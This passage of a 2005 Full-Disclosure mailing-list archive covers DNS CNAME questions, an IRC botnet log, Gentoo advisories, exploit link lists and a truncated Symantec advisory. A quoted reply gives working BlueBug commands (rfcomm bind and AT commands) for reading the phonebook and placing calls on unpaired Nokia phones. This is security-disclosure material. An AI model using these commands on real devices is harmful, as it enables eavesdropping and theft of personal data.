<200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: <87r7kz7nj8.fsf@deneb.enyo.de> > Is anyone else seeing this: > > --SNIP-- > ;; QUESTION SECTION: > ;www.microsoft.com. IN A > > ;; ANSWER SECTION: > www.microsoft.com. 2415 IN CNAME > www.microsoft.com.nsatc.net. > --SNIP-- > > Notice that www.microsoft.com is a cname for > www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com > and to the best of my knowledge the correct web content is > displayed. AFAIK, this is a side effect because Microsoft uses Savvis' content distribution network. This is by no means a recent change. It's been this way since last June, probably much longer (I haven't got older data). From kf_lists at digitalmunition.com Wed Jan 5 18:19:26 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Wed, 05 Jan 2005 13:19:26 -0500 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: <41DC2FAE.8070609@digitalmunition.com> http://www.talkaboutsoftware.com/group/microsoft.public.windowsme.general/messages/241011.html -KF nicholasnam at hush.com wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Is anyone else seeing this: > >- --SNIP-- >;; QUESTION SECTION: >;www.microsoft.com. IN A > >;; ANSWER SECTION: >www.microsoft.com. 2415 IN CNAME >www.microsoft.com.nsatc.net. >- --SNIP-- > >Notice that www.microsoft.com is a cname for >www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com >and to the best of my knowledge the correct web content is >displayed. >-----BEGIN PGP SIGNATURE----- >Note: This signature can be verified at https://www.hushtools.com/verify >Version: Hush 2.4 > >wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA >oIqgBD6fqzV1t57I/Yh+ayae4Z/Z >=xvDv >-----END PGP SIGNATURE----- > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > From infsec at gmail.com Wed Jan 5 19:57:56 2005 From: infsec at gmail.com (Willem Koenings) Date: Wed, 5 Jan 2005 21:57:56 +0200 Subject: [Full-Disclosure] Full-Disclosure] SQL injection worm ? Message-ID: <9b13f6c1050105115721dcdfbd@mail.gmail.com> Maxime Ducharme mducharme at cybergeneration.com wrote: > 24.164.202.24 is on rr.com networks, they have also been advised. > > I know rbot.exe is known to be Randex worm, but i'd like that have > some other results / analysis. What i see is that this rBot.exe acts like regular rbot/sdbot all the best, W. ps. kaspersky also agrees with me : Backdoor.Win32.Rbot.gen From mmadison at fnni.com Wed Jan 5 20:12:35 2005 From: mmadison at fnni.com (Madison, Marc) Date: Wed, 5 Jan 2005 14:12:35 -0600 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? Message-ID: This is the correct information for MS. Perform a search on the address obtained in your dns query to confirm. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of nicholasnam at hush.com Sent: Wednesday, January 05, 2005 8:45 AM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Possible DNS compromise/poisoning? -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Is anyone else seeing this: - --SNIP-- ;; QUESTION SECTION: ;www.microsoft.com. IN A ;; ANSWER SECTION: www.microsoft.com. 2415 IN CNAME www.microsoft.com.nsatc.net. - --SNIP-- Notice that www.microsoft.com is a cname for www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com and to the best of my knowledge the correct web content is displayed. -----BEGIN PGP SIGNATURE----- Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 2.4 wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA oIqgBD6fqzV1t57I/Yh+ayae4Z/Z =xvDv -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From measl at mfn.org Wed Jan 5 20:49:49 2005 From: measl at mfn.org (J.A. Terranson) Date: Wed, 5 Jan 2005 14:49:49 -0600 (CST) Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> References: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: <20050105144845.U42460@ubzr.zsa.bet> On Wed, 5 Jan 2005 nicholasnam at hush.com wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Is anyone else seeing this: > > - --SNIP-- > ;; QUESTION SECTION: > ;www.microsoft.com. IN A > > ;; ANSWER SECTION: > www.microsoft.com. 2415 IN CNAME > www.microsoft.com.nsatc.net. Oh yeah. Now, for the real fun: $ whois nsatc.net Organization: SAVVIS Communications nsatc host 225 W Hillcrest Dr, Ste 250 Thousand Oaks, CA 91360 US Phone: (805) 370 2100 Fax..: (805) 370 2101 Email: nsatc-host at savvis.net Registrar Name....: Register.com Registrar Whois...: whois.register.com Registrar Homepage: http://www.register.com Domain Name: NSATC.NET Created on..............: Wed, Sep 26, 2001 Expires on..............: Wed, Sep 26, 2007 Record last updated on..: Thu, Dec 09, 2004 Looks like they're, um, having hosting issues :-) -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From pauls at utdallas.edu Wed Jan 5 21:28:24 2005 From: pauls at utdallas.edu (Paul Schmehl) Date: Wed, 05 Jan 2005 15:28:24 -0600 Subject: [Full-Disclosure] Pattern matching search tool Message-ID: Is anyone aware of a search tool (not Google or search engine aggregation software) that could be used to search our network for "interesting stuff"? It needs to be capable of doing pattern matching similar to perl's regular expression stuff. I'm looking for something that, for example, could tell me all the machines on our network that are running copies of phpBB (obvious reasons) so that we could quickly identify potential problem areas. Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From jaervosz at gentoo.org Wed Jan 5 21:53:22 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Wed, 5 Jan 2005 22:53:22 +0100 Subject: [Full-Disclosure] [ GLSA 200501-05 ] mit-krb5: Heap overflow in libkadm5srv Message-ID: <200501052253.26157.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-05 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: mit-krb5: Heap overflow in libkadm5srv Date: January 05, 2005 Bugs: #75143 ID: 200501-05 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== The MIT Kerberos 5 administration library (libkadm5srv) contains a heap overflow that could lead to execution of arbitrary code. Background ========== MIT krb5 is the free implementation of the Kerberos network authentication protocol by the Massachusetts Institute of Technology. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-crypt/mit-krb5 < 1.3.6 >= 1.3.6 Description =========== The MIT Kerberos 5 administration library libkadm5srv contains a heap overflow in the code handling password changing. Impact ====== Under specific circumstances an attacker could execute arbitary code with the permissions of the user running mit-krb5, which could be the root user. Workaround ========== There is no known workaround at this time. Resolution ========== All mit-krb5 users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-crypt/mit-krb5-1.3.6" References ========== [ 1 ] CAN 2004-1189 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1189 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-05.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/a2856f95/attachment.bin From koon at gentoo.org Wed Jan 5 22:05:43 2005 From: koon at gentoo.org (Thierry Carrez) Date: Wed, 05 Jan 2005 23:05:43 +0100 Subject: [Full-Disclosure] [ GLSA 200501-06 ] tiff: New overflows in image decoding Message-ID: <41DC64B7.5080808@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-06 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: tiff: New overflows in image decoding Date: January 05, 2005 Bugs: #75213 ID: 200501-06 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== An integer overflow has been found in the TIFF library image decoding routines and the tiffdump utility, potentially allowing arbitrary code execution. Background ========== The TIFF library contains encoding and decoding routines for the Tag Image File Format. It is called by numerous programs, including GNOME and KDE applications, to interpret TIFF images. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-libs/tiff < 3.7.1-r1 >= 3.7.1-r1 Description =========== infamous41md found a potential integer overflow in the directory entry count routines of the TIFF library (CAN-2004-1308). Dmitry V. Levin found another similar issue in the tiffdump utility (CAN-2004-1183). Impact ====== A remote attacker could entice a user to view a carefully crafted TIFF image file, which would potentially lead to execution of arbitrary code with the rights of the user viewing the image. This affects any program that makes use of the TIFF library, including many web browsers or mail readers. Workaround ========== There is no known workaround at this time. Resolution ========== All TIFF library users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-libs/tiff-3.7.1-r1" References ========== [ 1 ] CAN-2004-1183 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183 [ 2 ] CAN-2004-1308 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308 [ 3 ] iDEFENSE Advisory http://www.idefense.com/application/poi/display?id=174&type=vulnerabilities Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-06.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/42b99655/attachment.bin From synackurg at gmail.com Wed Jan 5 23:16:23 2005 From: synackurg at gmail.com (Dave Bryan) Date: Wed, 5 Jan 2005 17:16:23 -0600 Subject: [Full-Disclosure] Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore In-Reply-To: <41DA9E2B.4000908@freebsd.lublin.pl> References: <41D52185.6050001@thebunker.net> <41DA9E2B.4000908@freebsd.lublin.pl> Message-ID: The reason that it is called BlueBug is because you are literally bugging (Voice Calls) an unsuspecting victims pocket. Yes this is a back door of sorts... On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek wrote: > Adam Laurie napisa?(a): > > Details of the attacks were disclosed at the Chaos Computer Club's annual > > congress in Berlin - 21C3: > > According to the [1], not all details were disclosed. Actually, there is no > reason for keeping them secret here, while they are well known and actively > exploited in the blackhat community. > > The Bluebug, as described on [1] is trivially exploitable on some non-Symbian > Nokia phones. It allows attacker to create serial profile connection without > pairing or asking for permission, therefore it gives unauthorized access to all > AT commands. It is possible to read/delete/send SMS messages, add/view/delete > phonebook entries, change call diverts, initiate voice or data call. > > Demonstration on Nokia 6310i: > > laptop:~# hcitool scan > Scanning ... > 00:60:57:38:8C:D8 Nokia 6310i > laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17 > > Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for > example: > > laptop:~# cu -l rfcomm0 -s 9600 > Connected. > [ATE1] > OK > ATI > Nokia > > OK > AT+CPBS? > +CPBS: "SM",0,100 > > OK > AT+CPBR=? > +CPBR: (1-100),48,18 > > OK > ATDT+48609xxxxxx > OK > > As you can see, the bug is really trivial and looks rather like backdoor. > > [1] - http://www.thebunker.net/security/bluetooth.htm > [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx > [3] - http://www.gnokii.org/ > > -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * > * JID: venglin at jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From bugtraq at cgisecurity.net Wed Jan 5 23:27:25 2005 From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net) Date: Wed, 5 Jan 2005 18:27:25 -0500 (EST) Subject: [Full-Disclosure] Re: SQL injection worm ? In-Reply-To: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> from "Maxime Ducharme" at Jan 05, 2005 12:22:54 PM Message-ID: <20050105232725.95724.qmail@cgisecurity.net> Here is some additional information. An irc bot is launched and joins a channel named #!processor on 170.94.206.13 where about 118 hosts are currently idling. ??? [Users(#!processor:38)] [ [UNC]84356] [ [UNC]85751] [ [UNC]85463] [ [UNC]42287] [ [UNC]29288] [ [UNC]54723] [ h ] [ [UNC]27930] [ [UNC]82158] [ [UNC]77161] [ [UNC]91371] [v[UNC]88402] [ amax ] [ [UNC]53174] [v[UNC]94664] [ [UNC]26664] [ [UNC]91108] [ [UNC]95532] [ [UNC]10060] [ [UNC]85878] [ [UNC]43397] [v[UNC]36335] [v[UNC]55167] [ [UNC]60320] [v[UNC]93886] [v[UNC]69068] [ [UNC]87434] [v[UNC]32714] [v[UNC]67272] [ [UNC]70001] [v[UNC]52515] [ [UNC]36701] [ [UNC]17521] [ [UNC]61060] [ [UNC]79272] [ [UNC]22161] [v[UNC]43526] [ [UNC]69173] ??? [Users(#!processor:37)] [ [UNC]59399] [ [UNC]99219] [ [UNC]24943] [v[UNC]86397] [v[UNC]28185] [ [UNC]29805] [ [UNC]35670] [ [UNC]07515] [ [UNC]52312] [v[UNC]62625] [v[UNC]73047] [ [UNC]98522] [ [UNC]25010] [ [UNC]63090] [ [UNC]50668] [ [UNC]68982] [ [UNC]29779] [ [UNC]54748] [ [UNC]15935] [ [UNC]43952] [ [UNC]98525] [ [UNC]47729] [ [UNC]03825] [ [UNC]35432] [ [UNC]95447] [ [UNC]15023] [v[UNC]77889] [v[UNC]85566] [ [UNC]74597] [ [UNC]81809] [ [UNC]16345] [v[UNC]58170] [ [UNC]60124] [ [UNC]15746] [ [UNC]90485] [ [UNC]23873] [ [UNC]62313] ??? [Users(#!processor:37)] [ [UNC]53226] [ [UNC]35507] [ [UNC]96122] [ [UNC]01170] [ [UNC]38323] [v[UNC]75392] [ [UNC]52691] [ [UNC]14339] [v[UNC]94281] [v[UNC]46040] [ [UNC]89112] [ [UNC]69402] [ [UNC]48153] [ [UNC]43861] [ [UNC]49034] [ [UNC]78539] [ [UNC]35814] [ [UNC]32213] [v[UNC]17619] [ [UNC]65431] [ [UNC]17094] [ [UNC]76164] [ [UNC]94358] [ [UNC]07494] [ [UNC]62847] [ [UNC]59247] [ [UNC]40463] [ [UNC]15300] [ [UNC]63711] [ [UNC]49462] [ [UNC]29512] [ [UNC]66122] [ [UNC]37752] [ [UNC]18282] [ [UNC]59637] [ [UNC]07444] [v[UNC]04861] ??? [Users(#!processor:6)] [v[UNC]70180] [ [UNC]49130] [ [UNC]91806] [ [UNC]59229] [ [UNC]26914] [ [UNC]81777] ??? Channel #!processor was created at Tue Jan 4 23:10:07 2005 ??? BitchX: Join to #!processor was synched in 0.376 secs!! ??????---?--??-??????---?--??-?????????--- -- - | amax (zzyvg at 39FC4D2A.FA0F1DDD.7D6B7CFD.IP) (unknown) ? ircname : [UNC]66778 | channels : #!processor ? server : shellcodewarez.info (ScW Network) : idle : 4 hours 56 mins 28 secs (signon: Wed Jan 5 09:31:46 2005) [[UNC]48153 ] [[UNC]24943 ] [[UNC]70180 ] [[UNC]23873 ] [[UNC]07515 ] [[UNC]37752 ] [[UNC]01170 ] [[UNC]59247 ] [[UNC]81809 ] [[UNC]70001 ] [[UNC]40463 ] [[UNC]79272 ] [[UNC]49462 ] [[UNC]52691 ] [[UNC]15746 ] [[UNC]74597 ] [[UNC]29805 ] [[UNC]50668 ] [[UNC]69068 ] [[UNC]49130 ] [[UNC]76164 ] [[UNC]85751 ] [[UNC]25010 ] [[UNC]82158 ] [[UNC]42287 ] [[UNC]53226 ] [[UNC]94664 ] [[UNC]86397 ] [[UNC]99219 ] [[UNC]81777 ] [[UNC]62847 ] [[UNC]94358 ] [[UNC]61060 ] [[UNC]93886 ] [[UNC]29288 ] [[UNC]27930 ] [[UNC]54723 ] [[UNC]62313 ] [[UNC]26664 ] [[UNC]07444 ] [[UNC]52515 ] [[UNC]07494 ] [[UNC]78539 ] [[UNC]35507 ] [[UNC]62625 ] [[UNC]91806 ] [[UNC]29779 ] [[UNC]59399 ] [[UNC]18282 ] [[UNC]60320 ] [[UNC]66122 ] [[UNC]91371 ] [[UNC]43397 ] [[UNC]26914 ] [[UNC]65431 ] [[UNC]15935 ] [[UNC]17521 ] [[UNC]55167 ] [[UNC]46040 ] [[UNC]47729 ] [[UNC]88402 ] [[UNC]32213 ] [[UNC]94281 ] [[UNC]63090 ] [[UNC]96122 ] [[UNC]53174 ] [[UNC]03825 ] [[UNC]77161 ] [[UNC]17094 ] [[UNC]43526 ] [[UNC]36701 ] [[UNC]36335 ] [[UNC]85463 ] [[UNC]35814 ] [[UNC]69173 ] [[UNC]22161 ] [[UNC]89112 ] [[UNC]10060 ] [[UNC]91108 ] [[UNC]17619 ] [[UNC]68982 ] [[UNC]38323 ] [[UNC]43861 ] [[UNC]90485 ] [[UNC]87434 ] [[UNC]14339 ] [[UNC]59229 ] [[UNC]52312 ] [[UNC]67272 ] [[UNC]75392 ] [[UNC]58170 ] [[UNC]54748 ] [[UNC]28185 ] [[UNC]63711 ] [[UNC]04861 ] [[UNC]43952 ] [[UNC]32714 ] [[UNC]15300 ] [[UNC]77889 ] [[UNC]15023 ] [[UNC]49034 ] [[UNC]69402 ] [[UNC]85878 ] [[UNC]95447 ] [[UNC]98522 ] [[UNC]35670 ] [[UNC]73047 ] [[UNC]59637 ] [[UNC]16345 ] [[UNC]85566 ] [[UNC]35432 ] [[UNC]98525 ] [[UNC]84356 ] [[UNC]29512 ] [[UNC]60124 ] [[UNC]95532 ] [[UNC]29805 ] [[UNC]29288 ] [[UNC]29779 ] [[UNC]29512 ] [[UNC]29805 ] [[UNC]29288 ] [[UNC]29779 ] [[UNC]29512 ] ??????---?--??-??????---?--??-?????????--- -- - | [UNC]29805 (kczlexy at 205F319C.BAFB8B13.4E5CAB49.IP) (unknown) ? ircname : [UNC]29805 | channels : #!processor ? server : shellcodewarez.info (ScW Network) : idle : 4 hours 57 mins 11 secs (signon: Wed Jan 5 08:02:24 2005) ??????---?--??-??????---?--??-?????????--- -- - | [UNC]69402 (wahgb at 7805FEF.DBD3D7BD.1E420BBA.IP) (unknown) ? ircname : [UNC]69402 | channels : #!processor ? server : shellcodewarez.info (ScW Network) : idle : 4 hours 57 mins 9 secs (signon: Tue Jan 4 23:40:01 2005) ??????---?--??-??????---?--??-?????????--- -- - | [UNC]73047 (vjfud at BFE013F.3F070E03.2BA09B8.IP) (unknown) ? ircname : [UNC]73047 | channels : +#!processor ? server : shellcodewarez.info (ScW Network) : idle : 4 hours 57 mins 26 secs (signon: Wed Jan 5 07:48:45 2005) As you can see they are masking the ip addresses. Channel Users Topic #wow! 1 [+nt] #^_^ 10 #!processor 118 [+smt] ##forbot 24 ##fbot 6 Only about 5 public channels though. Going into some of the other channels yield what appear to be more bots. ??? [Users(##forbot:25)] [ [UNC]12312] [ [hax]-cncw] [ [hax]-jvdr] [ [hax]-omaf] [ [hax]-dyfv] [ [hax]-cpaq] [ [hax]-rnpe] [ [hax]-ifsb] [ [hax]-lvvx] [ [hax]-nzez] [ [hax]-wftc] [ [hax]-dugg] [ [hax]-cdhp] [ [hax]-pxvh] [ [hax]-qyms] [ [hax]-toze] [ [hax]-owlu] [ [hax]-skyj] [ [hax]-aeqo] [ [hax]-obhd] [ [hax]-vmlv] [ [hax]-zlnv] [ [hax]-mnfy] [ [hax]-xhqh] [ [hax]-nvdt] ??? Channel ##forbot was created at Mon Jan 3 19:25:40 2005 ??? BitchX: Join to ##forbot was synched in 0.432 secs!! Users(##fbot:7)] [ [UNC]12312] [ [fB]-jdiac] [ [fB]-fxxbw] [ [fB]-iclac] [ [fB]-jwmui] [ [fB]-dzyhl] [ [fB]-gvgob] ??? Channel ##fbot was created at Wed Jan 5 11:39:50 2005 ??? [Users(#wow!:2)] [ [UNC]12312] [@[XP]|7255 ] i??? [Users(#^_^:11)] [ [UNC]12312] [ [UNC]73498] [ [UNC]92388] [ [UNC]72772] [ [UNC]71548] [ [UNC]25904] [ [UNC]52052] [ [UNC]16003] [ [UNC]68737] [ [UNC]58737] [ [UNC]98004] ??? Channel #^_^ was created at Mon Jan 3 19:25:32 2005 - zeno at cgisecurity.com http://www.cgisecurity.com From alain at ait.ac.th Thu Jan 6 01:55:43 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Thu, 6 Jan 2005 08:55:43 +0700 Subject: [Full-Disclosure] Pattern matching search tool In-Reply-To: References: Message-ID: <20050106015543.GB10030@ait.ac.th> Paul, On Wed, Jan 05, 2005 at 03:28:24PM -0600, Paul Schmehl wrote: > Is anyone aware of a search tool (not Google or search engine aggregation > software) that could be used to search our network for "interesting stuff"? > It needs to be capable of doing pattern matching similar to perl's regular > expression stuff. > > I'm looking for something that, for example, could tell me all the machines > on our network that are running copies of phpBB (obvious reasons) so that > we could quickly identify potential problem areas. What about running 'ngrep' (http://ngrep.sourceforge.net/) on your firewall or gateway, any box that can see most of the traffic, or even on the servers themselves? Greets, _Alain_ From aditya.deshmukh at online.gateway.expertworks.net Thu Jan 6 02:33:39 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Thu, 6 Jan 2005 08:03:39 +0530 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: >- --SNIP-- >;; QUESTION SECTION: >;www.microsoft.com. IN A > >;; ANSWER SECTION: >www.microsoft.com. 2415 IN CNAME >www.microsoft.com.nsatc.net. >- --SNIP-- > >Notice that www.microsoft.com is a cname for >www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com >and to the best of my knowledge the correct web content is >displayed. Ms and all other big players have a round robin dns setup to prevent slowdown of their sites. It this what you are seeing ? -aditya ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From aditya.deshmukh at online.gateway.expertworks.net Thu Jan 6 02:37:13 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Thu, 6 Jan 2005 08:07:13 +0530 Subject: [Full-Disclosure] Pattern matching search tool In-Reply-To: Message-ID: >-----Original Message----- >From: full-disclosure-bounces at lists.netsys.com >[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of >Paul Schmehl >Sent: Thursday, January 06, 2005 02:58 AM >To: full-disclosure at lists.netsys.com >Subject: [Full-Disclosure] Pattern matching search tool > >Is anyone aware of a search tool (not Google or search engine >aggregation >software) that could be used to search our network for >"interesting stuff"? >It needs to be capable of doing pattern matching similar to >perl's regular >expression stuff. > Dear paul I think you answered your own question over here - its perl! However there is another tool ntop that I use quite a lot. >I'm looking for something that, for example, could tell me all >the machines >on our network that are running copies of phpBB (obvious >reasons) so that >we could quickly identify potential problem areas. This I would use a fine tuned version of snort or a http proxy logging all the requests with logwatch watching for the "intresting stuff" -aditya From vertex at securitytrap.com Thu Jan 6 04:47:58 2005 From: vertex at securitytrap.com (vertex) Date: Wed, 5 Jan 2005 20:47:58 -0800 Subject: [Full-Disclosure] Securitytrap 2004 Dec Top 20 List - PHP exploit on Top In-Reply-To: <41DC64B7.5080808@gentoo.org> References: <41DC64B7.5080808@gentoo.org> Message-ID: <20050106044758.GA2816@securitytrap.com> Hello, Securitytrap is a realtime security related mailing list summary site which includes full-disclosure, bugtraq, osvdb, focus-ids, packet storm, incidents, etc. For more information, please visit, http://www.securitytrap.com/ Top 20 list, http://www.securitytrap.com/top20.html 1, K-Otik Exploits: phpBB 2.x with PHP 4.3.9 Remote unserialize Exploit URL: http://www.k-otik.com/exploits/20041217.phpbbmemorydump.c.php 2, Pen-TEST: RE: An idiot question URL: http://www.securitytrap.com/mail/pen-test/2004/Nov/0008.html 3, Full-disclosure: New IE / Windoze Zero-Day? URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0507.html 4, Security News: Universities struggling with SSL-busting spyware URL: http://lists.insecure.org/lists/isn/2004/Dec/0006.html 5, Security News: Hacker Gets 16 Months In Prison URL: http://lists.insecure.org/lists/isn/2004/Dec/0042.html 6, vulnwatch: re: How to Break Windows XP SP2 + Internet Explorer 6 SP2 URL: http://lists.insecure.org/lists/vulnwatch/2004/Oct-Dec/0015.html 7, Security News: Hackers deface county Web site URL: http://lists.insecure.org/lists/isn/2004/Dec/0043.html 8, Packetstorm: phpbbquoteflaw.txt URL: http://packetstormsecurity.org/0412-exploits/phpbbquoteflaw.txt 9, Full-disclosure: [HAT-SQUAD] NetCat Remote Critical Vulnerability, Poc inside. URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0541.html 10, Incidents: Re: Strange command histories in hacked shell server URL: http://www.securitytrap.com/mail/incidents/2004/Dec/0036.html 11, Full-disclosure: Re: TCP Port 42 port scans? What the heck over... URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0221.html 12, K-Otik Exploits: Santy.A - phpBB 2.0.10 Web Worm Source Code (PoC) URL: http://www.k-otik.com/exploits/20041222.sanityworm.pl.php 13, bugtrap: PHPBB worm in action URL: http://www.securitytrap.com/mail/bugtraq/2004/Dec/0343.html 14, K-Otik Exploits: phpBB 2.0.10 highlight parameter Remote Execution Exploit URL: http://www.k-otik.com/exploits/20041122.r57phpbb2010.pl.php 15, Top20: HoneyPot: New Scan Of The Month : Protected Binary. URL: http://lists.insecure.org/lists/honeypots/2004/Oct-Dec/0043.html 16, Microsoft: Microsoft Security Bulletin Summary for December 2004 URL: http://lists.insecure.org/lists/microsoft/2004/Oct-Dec/0005.html 17, Full-disclosure: Multiple Backdoors found in eEye Products (IRIS and SecureIIS) URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0586.html 18, Full-disclosure: Windows (XP SP2) Remote code execution with parameters URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0565.html 19, Full-disclosure: Re: To anybody who's offended by my disclosure policy-GET THIS GUYS URL: http://www.securitytrap.com/mail/full-disclosure/2004/Dec/0244.html 20, K-Otik Exploits: WS_FTP Server v5.03 Remote buffer overflow Exploit URL: http://www.k-otik.com/exploits/20041130.IPSWSFTP-exploit.c.php From theinsider at 012.net.il Thu Jan 6 07:20:52 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 09:20:52 +0200 Subject: [Full-Disclosure] All Symantec Products All Versions Until 2005 - Remote Stack Buffer Overflow Message-ID: <000501c4f3c0$41198b40$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: All Symantec Products All Versions Until 2005 Vendors: http://www.symantec.com/nav/nav_pro/ Platforms: Windows Bug: Stack Buffer Overflow Risk: Low - Crash - Not Exploitable Exploitation: Remote with browser Date: 10 Apr 2004 Author: Rafel Ivgi, The-Insider e-mail: the_insider at mail.com web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== Symantec's Norton AntiVirus? 2004 Professional is the world?s most trusted antivirus solution with advanced protection. It protects email, instant messages, and other files by removing viruses automatically. Expanded threat detection alerts the user to spyware and similar hacking programs. It also supplies advanced tools for data recovery and secure file deletion and a license for two computers. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== Symantec Norton AntiVirus 2004 installs many DLLs(Dynamic Link Library) and COM(Component Object Model) objects. One of its DLL's "ccErrDsp.dll" Which is by 